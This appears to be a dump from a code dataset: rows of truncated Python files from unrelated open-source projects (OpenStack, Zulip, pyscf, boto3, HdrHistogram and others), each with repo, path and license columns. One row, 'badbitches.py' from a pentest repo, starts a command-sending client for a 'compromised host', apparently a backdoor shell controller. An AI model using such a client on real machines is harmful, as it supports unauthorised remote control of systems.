code stringlengths 2 1.05M | repo_name stringlengths 5 104 | path stringlengths 4 251 | language stringclasses 1
value | license stringclasses 15
values | size int32 2 1.05M |
|---|---|---|---|---|---|
# -*- coding: utf-8 -*-
# Copyright 2015 Objectif Libre
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required ... | FNST-OpenStack/cloudkitty | cloudkitty/tests/test_keystone_fetcher.py | Python | apache-2.0 | 3,127 |
"""PyTorch policy class used for Simple Q-Learning"""
import logging
from typing import Dict, Tuple
import gym
import ray
from ray.rllib.agents.dqn.simple_q_tf_policy import (
build_q_models, compute_q_values, get_distribution_inputs_and_class)
from ray.rllib.models.modelv2 import ModelV2
from ray.rllib.models.to... | pcmoritz/ray-1 | rllib/agents/dqn/simple_q_torch_policy.py | Python | apache-2.0 | 5,492 |
# Zulip's OpenAPI-based API documentation system is documented at
# https://zulip.readthedocs.io/en/latest/documentation/api.html
#
# This file defines the special Markdown extension that is used to
# render the code examples, example responses, etc. that appear in
# Zulip's public API documentation.
import inspect
... | punchagan/zulip | zerver/openapi/markdown_extension.py | Python | apache-2.0 | 23,823 |
tupleA = '123', 'xxx', [456.0, 1230.0, 444]
x, y, z = o = 123, 23, [123]
print(type(x))
print(y)
print(z)
print('\n-------------\n')
x, y, z = tupleA
print(type(x))
print(y)
print(z)
print('\n-------------\n')
x, y, z = tupleA[2]
print(type(x))
print(y)
print(z)
print('\n-------------')
print(o)
| z727354123/pyCharmTest | 2017/9_Sep/22/02-tuple 变量解构.py | Python | apache-2.0 | 304 |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Thing to automate getting custom reports from IPEDS.
Usage:
./csv_downloader.py test
./csv_downloader.py --uid=<uid_path> --mvl=<mvl_path>
Options:
--uid=FILE Path to .uid file
--mvl=PATH Path to .mvl file or directory containing .mvl files
You also need ... | texastribune/ipeds_reporter | csv_downloader/csv_downloader.py | Python | apache-2.0 | 5,353 |
"""
Django settings for the interop server.
For more information on this file, see
https://docs.djangoproject.com/en/1.6/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.6/ref/settings/
"""
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)... | transformation/utatuav-interop | auvsi/server/server/settings.py | Python | apache-2.0 | 4,650 |
from operator import add
from osp_pipeline.corpus.models import Document
from osp_pipeline.core.utils import dump_csv
def main(sc, spark):
"""Count (domain, path prefix) pairs.
"""
docs = Document.read(spark)
result = (
docs.rdd
.map(Document.from_rdd)
.map(lambda d: ((d.ur... | opensyllabus/osp-pipeline | osp_pipeline/corpus/jobs/count_prefixes.py | Python | apache-2.0 | 584 |
from setuptools import setup
setup(
name="tinyjenkins",
version="0.0.1",
author="Josh Harlow",
url='https://github.com/harlowja/tinyjenkins',
author_email="harlowja@gmail.com",
description="A tiny jenkins client library",
license="ASL",
keywords="jenkins",
packages=['tinyjenkins'],
... | harlowja/tinyjenkins | setup.py | Python | apache-2.0 | 410 |
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the Li... | dstufft/fenrir | fenrir/c/http11/__init__.py | Python | apache-2.0 | 4,215 |
# -*- coding: utf-8 -*-
# Copyright 2022 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or... | googleapis/python-websecurityscanner | samples/generated_samples/websecurityscanner_v1_generated_web_security_scanner_list_crawled_urls_sync.py | Python | apache-2.0 | 1,548 |
# 254 Factor Combinations
# Numbers can be regarded as product of its factors. For example,
#
# 8 = 2 x 2 x 2;
# = 2 x 4.
#
# Write a function that takes an integer n and return all possible combinations of its factors.
#
# Note:
#
# You may assume that n is always positive.
# Factors should be greater than ... | gengwg/leetcode | 254_factor_combinations.py | Python | apache-2.0 | 1,723 |
# vim: tabstop=4 shiftwidth=4 softtabstop=4
#
# Copyright 2012, Nachi Ueno, NTT MCL, Inc.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://ww... | psiwczak/quantum | quantum/plugins/metaplugin/meta_db_v2.py | Python | apache-2.0 | 1,836 |
"""
Dicts are used to store key/value pairs. Write a function that prints
out the number of occurrences of a word in a sentence.
>>> num_words("The little brown fox ran fast")
brown 1
fast 1
fox 1
little 1
ran 1
the 1
>>> num_words("Red sky at night, sailors delight, red sky at morning, sailor take warning")
at 2
de... | csuttles/utils | python/py-book/containers/dict-1.py | Python | apache-2.0 | 940 |
"""
Name: model
Purpose: Analytical model for collaborative filtering
Author: Thomas Treml (datadonk23@gmail.com)
Date: 2015-08-31
"""
import numpy as np
import pandas as pd
from sklearn.metrics import jaccard_similarity_score
from sklearn.cross_validation import train_test_split
import cPickle
# Load pre-loaded data... | donK23/shed01 | PyBeispiele/SherlockRec/model.py | Python | apache-2.0 | 3,603 |
#!/usr/bin/env python
"""A wrapper script around clang-format, suitable for linting multiple files
and to use for continuous integration.
This is an alternative API for the clang-format command line.
It runs over multiple files and directories in parallel.
A diff output is produced and a sensible exit code is returned... | lemire/simdjson | style/run-clang-format.py | Python | apache-2.0 | 9,959 |
"""
Exceptions for Hangout API
"""
class LoginError(BaseException):
"""
Hangout Exception which rises in case of any problems with user log in
procedure
"""
pass
class NoSuchDeviceFound(BaseException):
"""
Hangout Exception which rises in case if user tries to set not available
devic... | enkidulan/hangout_api | hangout_api/exceptions.py | Python | apache-2.0 | 339 |
# coding=utf-8
# Copyright 2022 The Google Research Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicab... | google-research/google-research | sgk/sparse/sparse_matrix.py | Python | apache-2.0 | 8,095 |
# Copyright 2015 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"). You
# may not use this file except in compliance with the License. A copy of
# the License is located at
#
# https://aws.amazon.com/apache2.0/
#
# or in the "license" file accomp... | boto/boto3 | tests/unit/docs/test_docstring.py | Python | apache-2.0 | 11,501 |
from __future__ import absolute_import
from .base import Mutable, Taggable
class Node(Mutable, Taggable):
subsystem = "infra"
endpoint = "/node"
def save(self):
if not self.resource_uri:
raise AttributeError("Adding a new node is not supported via 'save' method")
super(Node, ... | docker/python-dockercloud | dockercloud/api/node.py | Python | apache-2.0 | 497 |
# -*- coding: utf-8 -*-
# Generated by Django 1.11 on 2017-04-28 21:59
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('news', '0001_initial'),
]
operations = [
migrations.CreateModel(
... | Namysys/newspaper | newspaper/newspaper/news/migrations/0002_event.py | Python | apache-2.0 | 955 |
#!/usr/bin/python
# by amon (amon@nandynarwhals.org)
import socket
import argparse
import sys
parser = argparse.ArgumentParser(description='Pwn some bitches.')
parser.add_argument('host', help='compromised host')
args = parser.parse_args()
while True:
sys.stdout.write("$ ")
cmd = sys.stdin.readline().strip()... | nnamon/sleekpwn | dev/badbitches/badbitches.py | Python | apache-2.0 | 613 |
# The minimal basis sets used by Molpro.
#
# Comments from Molpro
#
# ! These are minimal basis sets created by taking the first
# ! nOcc contracted functions out of the cc-pVTZ or cc-pVTZ-PP
# ! basis sets. They are intended as auxiliary sets for SCF
# ! convergence experiments and atomic density guess purposes.
# ! S... | gkc1000/pyscf | pyscf/gto/basis/minao.py | Python | apache-2.0 | 118,670 |
from twisted.internet import reactor
from twisted.internet.protocol import Factory, Protocol
from twisted.internet.endpoints import TCP4ClientEndpoint
from twisted.internet import defer
from twisted.protocols import basic
from getpass import getpass
from threading import Thread
import os,sys,cPickle,re
from foldnplot i... | zhuww/planetclient | client.py | Python | apache-2.0 | 3,010 |
# Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | alexgorban/models | official/nlp/modeling/layers/on_device_embedding.py | Python | apache-2.0 | 3,452 |
# Copyright 2012 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ... | sunu/oppia-test | controllers/widgets.py | Python | apache-2.0 | 3,724 |
#!/usr/bin/env python3
__author__ = 'DSOWASP'
# import time
# n = 0
# while True:
#
# if n < 10:
# s = "\r{}".format("="*n)
# s1 = "---"
# s2 =s + s1
# print(s2,end="")
#
# if n > 20:
# break
# n += 1
# time.sleep(0.1)
import getpass
a = getpass.getpass("pass")
print(a) | dianshen/python_day | day7/test21.py | Python | apache-2.0 | 318 |
import zipfile
import json
from chalice import utils
def test_can_zip_single_file(tmpdir):
source = tmpdir.mkdir('sourcedir')
source.join('hello.txt').write('hello world')
outfile = str(tmpdir.join('out.zip'))
utils.create_zip_file(source_dir=str(source),
outfile=outfile)
... | freaker2k7/chalice | tests/functional/test_utils.py | Python | apache-2.0 | 1,943 |
# -*- coding: utf-8 -*-
from south.utils import datetime_utils as datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Deleting model 'GoogleProfile'
db.delete_table('profiles_googleprofile'... | nimiq/moogle-project | moogle/profiles/migrations/0002_auto__del_googleprofile__add_gmailprofile.py | Python | apache-2.0 | 7,404 |
# Copyright 2015 Futurewei. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appl... | openstack/networking-sfc | networking_sfc/services/flowclassifier/common/config.py | Python | apache-2.0 | 1,061 |
from __future__ import print_function, division
import unittest, numpy as np
from pyscf import gto, scf
from pyscf.nao import gw as gw_c
mol = gto.M( verbose = 1, atom = '''He 0.0 0.0 0.0''', basis = 'aug-cc-pvtz', spin = 0, )
gto_mf = scf.UHF(mol)
e_tot = gto_mf.kernel()
class KnowValues(unittest.TestCase):
def t... | gkc1000/pyscf | pyscf/nao/test/test_0067_gw_he_atom.py | Python | apache-2.0 | 938 |
# Copyright 2014 Pants project contributors (see CONTRIBUTORS.md).
# Licensed under the Apache License, Version 2.0 (see LICENSE).
import pytest
from pkg_resources import Requirement, parse_version
from pex.package import EggPackage, SourcePackage, WheelPackage
def test_source_packages():
for ext in ('.tar.gz', '... | kwlzn/pex | tests/test_package.py | Python | apache-2.0 | 5,082 |
from optparse import OptionParser
from setuptools import setup
from wheel.bdist_wheel import bdist_wheel
import pathlib
import sys
class BdistWheel(bdist_wheel):
user_options = [
('platform-name=', None, 'Platform name to force.'),
]
def initialize_options(self):
self.platform_name = None
bdist_wh... | google/fleetspeak | fleetspeak/client-wheel/setup.py | Python | apache-2.0 | 1,460 |
# Copyright 2020 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License")
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, s... | GoogleChrome/chromium-dashboard | api/channels_api_test.py | Python | apache-2.0 | 4,046 |
# Copyright 2013 IBM Corp.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agree... | afrolov1/nova | nova/objects/base.py | Python | apache-2.0 | 24,854 |
import unittest
from ndnn import sgd as ns
class MomentumTestCase(unittest.TestCase):
def test_update(self):
momentum = ns.Momentum()
class RMSPropTestCase(unittest.TestCase):
def test_update(self):
pass
class AdaGradTestCase(unittest.TestCase):
def test_update(self):
pass
class ... | harperjiang/enc-selector | src/test/python/SGDTest.py | Python | apache-2.0 | 441 |
# Copyright 2010-2012 OpenStack Foundation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless... | changsimon/trove | trove/flavor/views.py | Python | apache-2.0 | 1,657 |
#!/usr/bin/env python
#
# The contents of this file are subject to the Mozilla Public
# License Version 1.1 (the "License"); you may not use this file
# except in compliance with the License. You may obtain a copy of
# the License at http://www.mozilla.org/MPL/
#
# Software distributed under the License is distributed... | kaoru2010/android-startup-project | tools/smc/smc_6_5_0/examples/Python/EX2/checkstring.py | Python | apache-2.0 | 1,608 |
from django.conf import settings
from zerver.lib.actions import internal_send_private_message
from zerver.lib.test_classes import ZulipTestCase
from zerver.lib.test_helpers import message_stream_count, most_recent_message
from zerver.models import UserProfile, get_system_bot
class TutorialTests(ZulipTestCase):
d... | punchagan/zulip | zerver/tests/test_tutorial.py | Python | apache-2.0 | 2,897 |
# Copyright 2010 Jacob Kaplan-Moss
# Copyright 2011 OpenStack Foundation
# Copyright 2011 Piston Cloud Computing, Inc.
# Copyright 2013 Alessio Ababilov
# Copyright 2013 Grid Dynamics
# Copyright 2013 OpenStack Foundation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you ... | jamielennox/python-keystoneclient | keystoneclient/openstack/common/apiclient/client.py | Python | apache-2.0 | 12,969 |
# coding: utf-8
"""
mpijob
Python SDK for MPI-Operator # noqa: E501
The version of the OpenAPI document: v0.1
Generated by: https://openapi-generator.tech
"""
from __future__ import absolute_import
import unittest
import datetime
import mpijob
from mpijob.models.v1_replica_status import V1Replic... | kubeflow/mpi-operator | sdk/python/v1/test/test_v1_replica_status.py | Python | apache-2.0 | 1,367 |
# coding: utf-8
"""
Wavefront REST API Documentation
<p>The Wavefront REST API enables you to interact with Wavefront servers using standard REST API tools. You can use the REST API to automate commonly executed operations such as automatically tagging sources.</p><p>When you make REST API calls outside the W... | wavefrontHQ/python-client | wavefront_api_client/models/response_container_paged_cloud_integration.py | Python | apache-2.0 | 4,913 |
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... | cloudera/Impala | tests/metadata/test_stats_extrapolation.py | Python | apache-2.0 | 9,269 |
#!/usr/bin/python3.4
# vim:ts=4:sw=4:softtabstop=4:smarttab:expandtab
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by app... | kdart/pycopia3 | core/pycopia/OS/Linux/proc/net/route.py | Python | apache-2.0 | 4,647 |
#!/usr/bin/env python
# Cloudsnake Application server
# Licensed under Apache License, see license.txt
# Author: Markus Gronholm <markus@alshain.fi> Alshain Oy
import libCloudSnakeClient as SnakeClient
import pprint
client = SnakeClient.CloudSnakeClient( 'http://localhost:8500', 'maintenance' )
get_stream = clien... | Alshain-Oy/Cloudsnake-Application-Server | clients/print_stdout.py | Python | apache-2.0 | 432 |
# Copyright 2015 Mirantis, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ... | eayunstack/fuel-ostf | fuel_plugin/testing/tests/integration/test_models_methods.py | Python | apache-2.0 | 16,619 |
import pyscf.pbc.tools.make_test_cell as make_test_cell
from pyscf.pbc import gto, scf, ci
from pyscf.pbc.ci import KCIS
import unittest
cell = make_test_cell.test_cell_n3(mesh=[29] * 3)
cell.build()
def tearDownModule():
global cell
del cell
class KnownValues(unittest.TestCase):
def test_n3_cis_high_cos... | sunqm/pyscf | pyscf/pbc/ci/test/test_ci.py | Python | apache-2.0 | 1,804 |
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# ... | dims/heat | heat/tests/test_stack.py | Python | apache-2.0 | 114,307 |
import numpy as np
import pandas as pd
import optparse
from sklearn.svm import SVC
from sklearn import cross_validation
from sklearn import grid_search
import sklearn.metrics
#PARSE ARGUMENTS
parser = optparse.OptionParser()
parser.add_option('-g','--gold', dest = 'gold_standard_name', help = 'gold_standard_name')
p... | enricopal/STEM | validation/FEIII2016/ml/ml_validation.py | Python | apache-2.0 | 2,333 |
### Generates resources/weather_rate.js
# (1) Download https://github.com/ufx/SaintCoinach/releases/latest
# (2) SaintCoinach.Cmd.exe "C:\Program Files (x86)\SquareEnix\FINAL FANTASY XIV - A Realm Reborn"
# (3) exd TerritoryType WeatherRate
# (4) Run util/gen_weather_rate.py path/to/WeatherRate.csv
import argparse
im... | sqt/cactbot | util/gen_weather_rate.py | Python | apache-2.0 | 2,375 |
# Copyright 2016 James Hensman, Arno Solin
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in... | jameshensman/VFF | experiments/airline/airline_naive_rbf.py | Python | apache-2.0 | 3,654 |
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not... | wooga/airflow | airflow/contrib/sensors/hdfs_sensor.py | Python | apache-2.0 | 2,178 |
__version__ = '0.2015.10.18'
from .client import GoogleAPIClient
from .errors import *
| vengefuldrx/rekt-googlecore | rekt_googlecore/__init__.py | Python | apache-2.0 | 88 |
from test_all_fixers import lib3to2FixerTestCase
class Test_unpacking(lib3to2FixerTestCase):
fixer = u'unpacking'
def test_unchanged(self):
s = u"def f(*args): pass"
self.unchanged(s)
s = u"for i in range(s): pass"
self.unchanged(s)
s = u"a, b, c = range(100)"
... | jrialland/python-brain | 3to2-1.0/lib3to2/tests/test_unpacking.py | Python | apache-2.0 | 2,547 |
from pyparsing import (
ParserElement, Forward, Combine, Optional, Word, Literal, CaselessKeyword,
CaselessLiteral, Group, FollowedBy, LineEnd, OneOrMore, ZeroOrMore,
nums, alphas, alphanums, printables, delimitedList, quotedString,
)
ParserElement.enablePackrat()
grammar = Forward()
expression = Forward(... | DaveBlooman/graphite-api | graphite_api/render/grammar.py | Python | apache-2.0 | 2,601 |
#!/usr/bin/env python2
"""
Travis-CI build script
mbed SDK
Copyright (c) 2011-2013 ARM Limited
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unle... | K4zuki/mbed | workspace_tools/build_travis.py | Python | apache-2.0 | 8,489 |
from myuw.dao.affiliation import get_base_campus
from myuw.dao.enrollment import get_current_quarter_enrollment
from myuw.dao.gws import is_grad_student, is_undergrad_student
import logging
import json
import hashlib
logger = logging.getLogger('session')
def log_session(netid, session_key, request):
if session_k... | fanglinfang/myuw | myuw/logger/session_log.py | Python | apache-2.0 | 1,051 |
'''
Test code for the python version of HdrHistogram.
Ported from
https://github.com/HdrHistogram/HdrHistogram (Java)
https://github.com/HdrHistogram/HdrHistogram_c (C)
Written by Alec Hothan
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the Licen... | HdrHistogram/HdrHistogram_py | test/test_hdrhistogram.py | Python | apache-2.0 | 33,053 |
# coding=utf-8
# Copyright 2022 The Google Research Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicab... | google-research/google-research | using_dl_to_annotate_protein_universe/hmm_blast_baselines/hmmer_utils_test.py | Python | apache-2.0 | 16,884 |
# Copyright 2013 Hewlett-Packard Development Company, L.P.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2... | froyobin/ironic | ironic/tests/test_hash_ring.py | Python | apache-2.0 | 9,544 |
# vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2010 United States Government as represented by the
# Administrator of the National Aeronautics and Space Administration.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compli... | sridevikoushik31/nova | nova/tests/test_service.py | Python | apache-2.0 | 7,205 |
# Copyright (c) 2011 X.commerce, a business unit of eBay Inc.
# Copyright 2010 United States Government as represented by the
# Administrator of the National Aeronautics and Space Administration.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file... | luogangyi/bcec-nova | nova/network/linux_net.py | Python | apache-2.0 | 72,411 |
# -*- coding: utf-8 -*-
# Copyright 2022 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or... | googleapis/python-language | google/cloud/language_v1beta2/services/language_service/client.py | Python | apache-2.0 | 41,914 |
# Copyright 2016 Open Source Robotics Foundation, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law... | mistoll/ros_buildfarm | test/test_pyflakes.py | Python | apache-2.0 | 1,215 |
#!/usr/bin/env python
#
# vim: set expandtab:ts=4:sw=4
#
# Authors: Jasper Capel
# Robert van Leeuwen
#
# This software is released under the terms of the Apache License.
#
import unittest
import novacek.nova as nova
import novacek.hypervisor.ovs as ovs
import novacek.hyperbisor.libvirt_qemu as libvirt_qemu... | spilgames/novacek | novacek/hypervisor/test.py | Python | apache-2.0 | 2,794 |
from absl import app
from absl import flags
from inputs import get_gamepad
import threading
import time
FLAGS = flags.FLAGS
MAX_ABS_RX = 32768
MAX_ABS_RY = 32768
def _interpolate(raw_reading, max_raw_reading, new_scale):
return raw_reading / max_raw_reading * new_scale
class Gamepad:
"""Interface for reading c... | google-research/motion_imitation | motion_imitation/robots/gamepad/gamepad_reader.py | Python | apache-2.0 | 3,017 |
class Solution(object):
def pathSum(self, root, sum):
"""
:type root: TreeNode
:type sum: int
:rtype: int
"""
if root is None:
return 0
def dfs(r, s):
if r is None:
return 0
count = 0
if r.val ==... | lunabox/leetcode | python/problems/s437_Path_Sum_III.py | Python | apache-2.0 | 557 |
# #######
# Copyright (c) 2020 Cloudify Platform Ltd. All rights reserved
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requ... | cloudify-cosmo/cloudify-agent | cloudify_agent/shell/commands/cfy.py | Python | apache-2.0 | 3,644 |
#! /usr/bin/env python
# coding=utf-8
# Copyright (c) 2019 Uber Technologies, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unles... | uber/ludwig | ludwig/data/postprocessing.py | Python | apache-2.0 | 4,486 |
import json
import copy
from indy_common.constants import CRED_DEF_ID, ID, REVOC_TYPE, TAG, GET_REVOC_REG_DEF, \
TXN_TYPE, TIMESTAMP, REVOC_REG_DEF_ID, VALUE, FROM, TO, ISSUED, \
REVOKED, PREV_ACCUM, ACCUM
from plenum.common.constants import STATE_PROOF
from indy_common.state import domain
from plenum.common.tx... | spivachuk/sovrin-node | indy_node/test/anon_creds/test_state_proof_for_get_request.py | Python | apache-2.0 | 8,019 |
# -*- coding: utf-8 -*-
from south.utils import datetime_utils as datetime
from south.db import db
from south.v2 import DataMigration
from django.db import models
class Migration(DataMigration):
def forwards(self, orm):
"Write your forwards methods here."
# Note: Don't use "from appname.models imp... | michaupl/materialsapp | joins/migrations/0003_set_type_on_subcategory.py | Python | apache-2.0 | 5,162 |
# Copyright 2022 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ... | googleapis/python-retail | samples/interactive-tutorials/product/add_fulfillment_places_test.py | Python | apache-2.0 | 1,224 |
# PyCha embedded in GTK example
#import gi
#gi.require_version('Gtk', '3.0')
from gi.repository import Gtk
class gtk_example:
def drawing_area_expose_event(self, widget, event, data=None):
if self.chart is None:
return
cr = widget.window.cairo_create()
cr.rectangle(event.area.... | jmouriz/sanaviron | sanaviron/src/3rd/pycha/docs/examples/gtk_example.py | Python | apache-2.0 | 2,888 |
# encoding: utf-8
"""
@author: gallupliu
@contact: gallup-liu@hotmail.com
@version: 1.0
@license: Apache Licence
@file: v1.py
@time: 2018/1/12 23:06
"""
from data import QAData
from data.insuranceqa.reader.v1_reader import V1Reader
#读取V1数据类
class V1Data(QAData):
def _get_reader(self):
return V1Reader(... | gallupliu/QA | data/insuranceqa/v1.py | Python | apache-2.0 | 409 |
import mock
from nose.tools import * # noqa
import httplib as http
from boto.exception import S3ResponseError
from framework.auth import Auth
from tests.base import OsfTestCase
from tests.factories import ProjectFactory, AuthUserFactory
from website.addons.s3.utils import validate_bucket_name
from website.util impo... | lamdnhan/osf.io | website/addons/s3/tests/test_view.py | Python | apache-2.0 | 17,068 |
# Copyright (c) 2018 The Johns Hopkins University/Applied Physics Laboratory
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICEN... | OpenKMIP/PyKMIP | kmip/tests/unit/core/objects/test_credentials.py | Python | apache-2.0 | 110,311 |
# -*- coding: utf-8 -*-
# Generated by Django 1.9 on 2016-10-22 04:05
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('ERP', '0001_initial'),
]
operations = [
migra... | Pandaaaa906/ChemErpSystem | ERP/migrations/0002_auto_20161022_1205.py | Python | apache-2.0 | 603 |
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under t... | quantumlib/OpenFermion-Cirq | openfermioncirq/contrib/contrib_test.py | Python | apache-2.0 | 650 |
import apache_beam as beam
from apache_beam.io.gcp.datastore.v1new.datastoreio import ReadFromDatastore
from apache_beam.io.gcp.datastore.v1new.datastoreio import WriteToDatastore
from apache_beam.io.gcp.datastore.v1new.types import Entity
from apache_beam.io.gcp.datastore.v1new.types import Key
from apache_beam.io.gc... | GoogleCloudPlatform/training-data-analyst | courses/developingapps/demos/gs2ds/gs2ds.py | Python | apache-2.0 | 1,759 |
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed unde... | AlexOugh/horizon | openstack_dashboard/test/test_data/sahara_data.py | Python | apache-2.0 | 17,938 |
# vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2013 Big Switch Networks, Inc.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/lice... | SnabbCo/neutron | neutron/tests/unit/bigswitch/test_base.py | Python | apache-2.0 | 2,752 |
# coding=utf-8
# Copyright 2018 Pants project contributors (see CONTRIBUTORS.md).
# Licensed under the Apache License, Version 2.0 (see LICENSE).
from __future__ import absolute_import, division, print_function, unicode_literals
from test_pants_plugin.subsystems.pants_test_infra import PantsTestInfra
from pants.back... | twitter/pants | testprojects/pants-plugins/src/python/test_pants_plugin/pants_infra_tests.py | Python | apache-2.0 | 770 |
"""Support for Verisure devices."""
from __future__ import annotations
import asyncio
from contextlib import suppress
import os
from typing import Any
import voluptuous as vol
from homeassistant.components.alarm_control_panel import (
DOMAIN as ALARM_CONTROL_PANEL_DOMAIN,
)
from homeassistant.components.binary_s... | w1ll1am23/home-assistant | homeassistant/components/verisure/__init__.py | Python | apache-2.0 | 5,297 |
# Copyright 2018 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | tensorflow/moonlight | moonlight/page_processors.py | Python | apache-2.0 | 2,979 |
#
# Copyright 2018 Analytics Zoo Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | intel-analytics/analytics-zoo | pyzoo/zoo/pipeline/api/keras/layers/noise.py | Python | apache-2.0 | 3,021 |
"""
Sponge Knowledge Base
Correlator builders
"""
from java.util.concurrent.atomic import AtomicInteger
from java.util import Collections, LinkedHashMap
def onInit():
# Variables for assertions only
